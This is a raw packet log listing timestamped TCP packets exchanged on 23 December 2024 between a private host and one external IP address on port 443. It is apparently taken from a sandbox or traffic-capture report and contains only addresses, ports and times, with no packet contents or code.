Dec 23, 2024 07:38:47.791212082 CET	443	49883	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:47.791297913 CET	443	49883	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:47.791344881 CET	49883	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:47.791384935 CET	49883	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:47.791584015 CET	49883	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:47.791599035 CET	443	49883	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:47.791634083 CET	49883	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:47.791639090 CET	443	49883	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:47.993685961 CET	49893	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:47.993742943 CET	443	49893	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:47.993932009 CET	49893	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:47.993932009 CET	49893	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:47.994174957 CET	443	49893	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:47.994250059 CET	49893	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:48.061325073 CET	49894	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:48.061367989 CET	443	49894	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:48.061429977 CET	49894	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:48.061768055 CET	49894	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:48.061781883 CET	443	49894	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:49.522135019 CET	443	49894	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:49.522196054 CET	49894	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:49.523580074 CET	49894	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:49.523587942 CET	443	49894	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:49.523844004 CET	443	49894	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:49.525234938 CET	49894	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:49.571331978 CET	443	49894	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:50.984507084 CET	443	49894	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:50.984539986 CET	443	49894	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:50.984556913 CET	443	49894	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:50.984636068 CET	49894	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:50.984651089 CET	443	49894	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:50.984699011 CET	49894	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:51.098079920 CET	443	49894	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:51.098119020 CET	443	49894	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:51.098225117 CET	49894	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:51.098248005 CET	443	49894	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:51.098285913 CET	49894	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:51.180591106 CET	443	49894	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:51.180623055 CET	443	49894	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:51.180748940 CET	49894	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:51.180767059 CET	443	49894	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:51.180805922 CET	49894	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:51.248991966 CET	443	49894	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:51.249121904 CET	49894	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:51.249140024 CET	443	49894	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:51.249228001 CET	443	49894	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:51.249274969 CET	49894	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:51.249342918 CET	49894	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:51.249360085 CET	443	49894	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:51.249371052 CET	49894	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:51.249377012 CET	443	49894	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:51.439893007 CET	49903	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:51.439949036 CET	443	49903	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:51.440063953 CET	49903	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:51.440149069 CET	49903	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:51.440294981 CET	443	49903	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:51.440359116 CET	49903	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:51.511030912 CET	49904	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:51.511075974 CET	443	49904	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:51.511141062 CET	49904	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:51.511517048 CET	49904	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:51.511529922 CET	443	49904	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:52.968985081 CET	443	49904	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:52.969120979 CET	49904	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:52.970571995 CET	49904	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:52.970585108 CET	443	49904	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:52.970844984 CET	443	49904	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:52.972420931 CET	49904	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:53.015337944 CET	443	49904	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:54.355262995 CET	443	49904	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:54.355293989 CET	443	49904	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:54.355309010 CET	443	49904	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:54.355377913 CET	49904	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:54.355398893 CET	443	49904	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:54.355442047 CET	49904	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:54.466662884 CET	443	49904	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:54.466753006 CET	443	49904	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:54.466789961 CET	49904	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:54.466808081 CET	443	49904	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:54.466830015 CET	49904	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:54.466856956 CET	49904	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:54.551281929 CET	443	49904	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:54.551325083 CET	443	49904	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:54.551378965 CET	49904	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:54.551398039 CET	443	49904	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:54.551434994 CET	49904	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:54.551456928 CET	49904	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:54.625142097 CET	443	49904	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:54.625266075 CET	49904	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:54.625289917 CET	443	49904	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:54.625526905 CET	49904	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:54.625536919 CET	443	49904	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:54.625545979 CET	49904	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:54.626017094 CET	443	49904	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:54.828514099 CET	49912	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:54.828577042 CET	443	49912	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:54.828949928 CET	49912	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:54.832642078 CET	49912	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:54.832748890 CET	443	49912	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:54.832838058 CET	49912	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:54.903603077 CET	49913	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:54.903650999 CET	443	49913	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:54.903805971 CET	49913	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:54.904234886 CET	49913	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:54.904252052 CET	443	49913	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:56.370230913 CET	443	49913	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:56.370320082 CET	49913	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:56.371731043 CET	49913	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:56.371736050 CET	443	49913	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:56.371988058 CET	443	49913	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:56.373262882 CET	49913	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:56.419327974 CET	443	49913	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:57.766907930 CET	443	49913	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:57.766974926 CET	443	49913	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:57.767040014 CET	443	49913	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:57.767044067 CET	49913	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:57.767070055 CET	443	49913	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:57.767131090 CET	49913	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:57.767131090 CET	49913	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:57.880390882 CET	443	49913	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:57.880422115 CET	443	49913	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:57.880470037 CET	49913	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:57.880491972 CET	443	49913	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:57.880526066 CET	49913	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:57.880546093 CET	49913	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:57.963052988 CET	443	49913	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:57.963102102 CET	443	49913	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:57.963150978 CET	49913	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:57.963160038 CET	443	49913	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:57.963212013 CET	49913	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:57.963212967 CET	49913	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:58.033389091 CET	443	49913	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:58.033479929 CET	49913	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:58.033489943 CET	443	49913	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:58.033584118 CET	443	49913	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:58.033668041 CET	49913	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:58.033869982 CET	49913	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:58.033880949 CET	443	49913	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:58.033946991 CET	49913	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:58.033951998 CET	443	49913	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:58.231276989 CET	49922	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:58.231345892 CET	443	49922	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:58.231440067 CET	49922	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:58.231574059 CET	49922	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:58.231647015 CET	443	49922	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:58.231703997 CET	49922	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:58.298022985 CET	49924	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:58.298043966 CET	443	49924	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:58.298122883 CET	49924	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:58.298430920 CET	49924	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:58.298456907 CET	443	49924	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:59.774912119 CET	443	49924	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:59.775032043 CET	49924	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:59.776576042 CET	49924	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:59.776590109 CET	443	49924	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:59.777488947 CET	443	49924	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:59.778743982 CET	49924	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:59.823329926 CET	443	49924	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:01.244477987 CET	443	49924	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:01.244513035 CET	443	49924	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:01.244533062 CET	443	49924	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:01.244586945 CET	49924	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:01.244663000 CET	443	49924	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:01.244702101 CET	49924	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:01.244725943 CET	49924	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:01.357825041 CET	443	49924	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:01.357853889 CET	443	49924	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:01.357952118 CET	49924	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:01.358000994 CET	443	49924	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:01.358196020 CET	49924	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:01.440763950 CET	443	49924	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:01.440818071 CET	443	49924	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:01.440937042 CET	49924	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:01.440963030 CET	443	49924	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:01.441015005 CET	49924	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:01.442054987 CET	49924	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:01.512636900 CET	443	49924	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:01.512788057 CET	49924	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:01.512805939 CET	443	49924	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:01.512830973 CET	443	49924	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:01.512888908 CET	49924	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:01.513107061 CET	49924	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:01.513128996 CET	443	49924	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:01.513140917 CET	49924	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:01.513148069 CET	443	49924	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:01.725006104 CET	49931	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:01.725064039 CET	443	49931	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:01.725162029 CET	49931	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:01.725253105 CET	49931	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:01.725369930 CET	443	49931	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:01.730072021 CET	49931	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:01.831410885 CET	49932	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:01.831454992 CET	443	49932	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:01.831533909 CET	49932	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:01.831866026 CET	49932	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:01.831881046 CET	443	49932	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:03.297210932 CET	443	49932	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:03.297310114 CET	49932	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:03.307292938 CET	49932	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:03.307306051 CET	443	49932	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:03.307657957 CET	443	49932	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:03.314049006 CET	49932	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:03.359342098 CET	443	49932	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:04.694667101 CET	443	49932	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:04.694695950 CET	443	49932	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:04.694716930 CET	443	49932	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:04.694783926 CET	49932	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:04.694816113 CET	443	49932	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:04.694868088 CET	49932	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:04.804975033 CET	443	49932	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:04.805012941 CET	443	49932	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:04.805072069 CET	49932	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:04.805082083 CET	443	49932	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:04.805134058 CET	49932	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:04.805144072 CET	49932	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:04.890614986 CET	443	49932	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:04.890646935 CET	443	49932	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:04.890737057 CET	49932	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:04.890747070 CET	443	49932	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:04.890780926 CET	49932	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:04.890800953 CET	49932	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:04.963722944 CET	443	49932	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:04.963813066 CET	49932	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:04.963820934 CET	443	49932	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:04.963831902 CET	443	49932	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:04.963881016 CET	49932	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:04.964131117 CET	49932	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:04.964145899 CET	443	49932	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:04.964159966 CET	49932	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:04.964164019 CET	443	49932	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:05.167150021 CET	49943	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:05.167200089 CET	443	49943	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:05.167294025 CET	49943	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:05.167401075 CET	49943	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:05.167830944 CET	443	49943	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:05.168226004 CET	49943	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:05.251691103 CET	49944	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:05.251737118 CET	443	49944	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:05.251830101 CET	49944	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:05.252399921 CET	49944	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:05.252412081 CET	443	49944	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:06.717067003 CET	443	49944	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:06.717185020 CET	49944	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:06.719223976 CET	49944	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:06.719244003 CET	443	49944	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:06.719573975 CET	443	49944	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:06.721115112 CET	49944	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:06.767347097 CET	443	49944	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:08.117072105 CET	443	49944	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:08.117108107 CET	443	49944	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:08.117126942 CET	443	49944	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:08.117175102 CET	49944	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:08.117216110 CET	443	49944	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:08.117233038 CET	49944	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:08.117265940 CET	49944	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:08.230542898 CET	443	49944	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:08.230570078 CET	443	49944	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:08.230614901 CET	49944	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:08.230650902 CET	443	49944	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:08.230669022 CET	49944	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:08.230695009 CET	49944	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:08.312922001 CET	443	49944	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:08.312953949 CET	443	49944	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:08.313194036 CET	49944	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:08.313220978 CET	443	49944	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:08.313290119 CET	49944	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:08.382088900 CET	443	49944	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:08.382184982 CET	443	49944	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:08.382200956 CET	49944	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:08.382244110 CET	49944	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:08.382520914 CET	49944	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:08.382541895 CET	443	49944	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:08.382558107 CET	49944	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:08.382565022 CET	443	49944	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:08.581073999 CET	49950	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:08.581121922 CET	443	49950	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:08.581252098 CET	49950	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:08.581433058 CET	49950	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:08.581490040 CET	443	49950	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:08.581567049 CET	49950	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:08.659526110 CET	49951	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:08.659636021 CET	443	49951	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:08.659735918 CET	49951	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:08.660155058 CET	49951	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:08.660192013 CET	443	49951	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:10.119091988 CET	443	49951	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:10.119201899 CET	49951	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:10.120703936 CET	49951	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:10.120714903 CET	443	49951	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:10.121023893 CET	443	49951	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:10.122452021 CET	49951	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:10.167321920 CET	443	49951	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:11.606856108 CET	443	49951	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:11.606888056 CET	443	49951	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:11.606904984 CET	443	49951	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:11.606961966 CET	49951	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:11.606980085 CET	443	49951	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:11.606996059 CET	49951	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:11.607026100 CET	49951	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:11.712291002 CET	443	49951	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:11.712321043 CET	443	49951	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:11.712382078 CET	49951	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:11.712388992 CET	443	49951	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:11.712424994 CET	49951	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:11.712444067 CET	49951	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:11.803097010 CET	443	49951	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:11.803118944 CET	443	49951	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:11.803190947 CET	49951	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:11.803220987 CET	443	49951	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:11.803261042 CET	49951	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:11.878319979 CET	443	49951	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:11.878428936 CET	443	49951	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:11.878438950 CET	49951	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:11.878494978 CET	49951	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:11.878731012 CET	49951	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:11.878747940 CET	443	49951	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:11.878777027 CET	49951	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:11.878782988 CET	443	49951	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:12.069255114 CET	49962	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:12.069318056 CET	443	49962	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:12.069413900 CET	49962	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:12.069528103 CET	49962	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:12.069569111 CET	443	49962	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:12.074079990 CET	49962	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:12.191240072 CET	49963	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:12.191283941 CET	443	49963	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:12.191364050 CET	49963	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:12.191714048 CET	49963	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:12.191725969 CET	443	49963	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:13.652863979 CET	443	49963	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:13.652983904 CET	49963	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:13.654500008 CET	49963	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:13.654519081 CET	443	49963	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:13.655395031 CET	443	49963	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:13.656687975 CET	49963	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:39:13.699335098 CET	443	49963	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:15.284224033 CET	443	49963	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:15.284266949 CET	443	49963	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:15.284282923 CET	443	49963	176.123.5.143	192.168.2.10
Dec 23, 2024 07:39:15.284400940 CET	49963	443	192.168.2.10	176.123.5.143
